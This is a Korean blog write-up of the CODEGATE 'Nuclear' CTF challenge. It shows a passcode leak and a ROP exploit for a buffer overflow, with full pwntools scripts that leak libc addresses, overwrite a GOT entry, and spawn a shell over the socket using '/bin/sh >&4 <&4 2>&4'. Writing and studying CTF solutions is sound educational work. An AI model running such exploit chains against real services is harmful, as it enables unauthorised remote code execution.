Self-Improvement

[CODEGATE] Nuclear (32bit) 풀이 및 Pwntools (많은 삽질을 하게 한 문제) 본문

리버싱 기초/CODEGATE

[CODEGATE] Nuclear (32bit) 풀이 및 Pwntools (많은 삽질을 하게 한 문제)

JoGeun 2020. 6. 11. 00:11

nuclear
0.01MB

 

FILE

 

적용된 보호기법

 

IDA

Main에서 1129포트로 소켓을 열어주고 있다

sub_8048C65

핵을 실행시키는? passcode가 필요하며 passcode는 "THIS_IS_NOT_KEY_JUST_PASSCODE" 자체적으로 만든 파일 안의 존재하고 있다.

당연히 passcode를 leak을 수행해야 하는데 코드들을 살펴보기 전 스택의 상황은 input | v4 | v5 | passcode로 이루어져 있음으로 v4, v5가 채워져있다는 가정하게 input크기만큼 가득채우면 passcode까지 leak이 발생할 것이다.

 

"target"이라는 문자열을 입력하면 조정값?을 입력하는데 이 조정값이 존재하는 input에서 실수형으로 v5, v4에 채워지게 된다.

 

v4, v5를 채워준 후 "launch" 문자열 입력 후 passcode와 비교하게 되는데 이때 input의 크기(0x200)만큼 채울 수 있음으로 passcode까지 leak이 이루어지게 된다.

Passcode leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
 
context.log_level='debug'
 
e=ELF('./nuclear')
p=remote("localhost",1129)
 
p.recvuntil(">")
p.sendline("target")
 
p.recvuntil("--->")
p.sendline("3.14/3.14")
 
p.recvuntil(">")
 
payload='A'*512
 
p.send(payload)
p.recvuntil('A'*512)
passcode=p.recv()[8:].strip()
cs

실행하게 되면 passcode인 "helloo"를 얻을 수 있다.

 

IDA

passcode를 얻었으니 이제는 BOF가 일어나는 곳을 찾아서 ROP를 진행해준다.

start_routine 함수를 확인해보면 buf의 크기는 0x20C이지만 0x512만큼 입력받고 있음으로 BOF 취약점이 존재하게 된다.

 

Python Pwntools

ROP를 하면서 삽질을 엄청했었다.. 그 이유는 마지막에 적어놓겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
 
context.log_level='debug'
 
e=ELF('./nuclear')
p=remote("localhost",1129)
 
p.recvuntil(">")
p.sendline("target")
 
p.recvuntil("--->")
p.sendline("3.14/3.14")
 
p.recvuntil(">")
 
payload='A'*512
 
p.send(payload)
p.recvuntil('A'*512)
passcode=p.recv()[8:].strip()
 
offset=0x754f0
recv_plt=e.plt["recv"]
recv_got=e.got["recv"]
send_plt=e.plt["send"]
send_got=e.got["send"]
p4r=0x804917c
cmd="/bin/sh >&4 <&4 2>&4"
bss=e.bss()
 
p.recvuntil(">")
p.sendline("launch")
p.recvuntil("nuclear :")
p.sendline(passcode)
 
p.recvuntil("100")
 
payload2='A'*528
payload2+=p32(send_plt)
payload2+=p32(p4r)
payload2+=p32(4)
payload2+=p32(e.got["sleep"])
payload2+=p32(4)
payload2+=p32(0)
 
payload2+=p32(recv_plt)
payload2+=p32(p4r)
payload2+=p32(4)
payload2+=p32(bss)
payload2+=p32(len(cmd)+2)
payload2+=p32(0)
 
payload2+=p32(recv_plt)
payload2+=p32(p4r)
payload2+=p32(4)
payload2+=p32(send_got)
payload2+=p32(4)
payload2+=p32(0)
 
payload2+=p32(e.plt["send"])
payload2+='A'*4
payload2+=p32(bss)
 
p.send(payload2)
 
sleep_addr=u32(p.read(4))
print hexdump(sleep_addr)
system_addr=sleep_addr-offset
print hexdump(system_addr)
 
p.send(cmd)
p.send(p32(system_addr))
 
p.interactive()
 
cs

 

삽질(삽질한 결과가 맞는것 같은 느낌)

nuclear 파일은 libc 라이브러리 뿐만아니라 libpthread까지 사용하고 있었다!!!

 

그래서 처음에 recv_got를 leak하여 offset을 이용하여 system 주소를 얻을라고 하였지만 leak이 된 recv_got는 libpthread 라이브러리의 주소였고 libpthread 라이브러리에는 system 함수가 존재하지 않았다!!!

라이브러리가 적재된 순서?로 해당 함수의 주소를 얻어오는 것 같았다.

 

recv-system을 수행하여 offset을 얻어야 하는데 system 함수가 존재하지 않아 난감한 와중에 libc-database 툴을 사용하기도 하였지만 해결이 잘 안되었다.

그래서 libpthread 라이브러리에 없는 sleep_got을 구하게 되면 기존의 libc 라이브러리 주소에서 얻어 올 것 같은 예감에 sleep_got 주소를 leak하여 system 주소를 얻는 방법으로 했더니 가능했다!!

그래서 위의 파이썬 코드에서 sleep-system offset을 구해서 진행하였다.

 

또는!!!

recv_got을 leak하면 libpthread 라이브러리의 recv 주소 값이니깐

libpthread 라이브러리의 recv offset 값을 구하여 빼주면 libpthread 라이브러리 base 주소가 나오게 된다.

그리고 libc와 libpthread 의 offset도 일정함으로 구하여 다시 빼주고 libc에서의 system offset만큼 더하면 system 주소가 나오게 된다!!!!

1. 0xf340은 libpthread 라이브러리에서의 recv offset 값

2. 0x1b6000은 libc와 libpthread 사이의 offset값이며 libpthread 주소가 더 위에 있음으로 빼줘야 libc 라이브러리에 접근이 된다.

3. 0x3ada0은 libc의 system offset으로 더해야만 libc의 system 주소을 얻을 수 있다.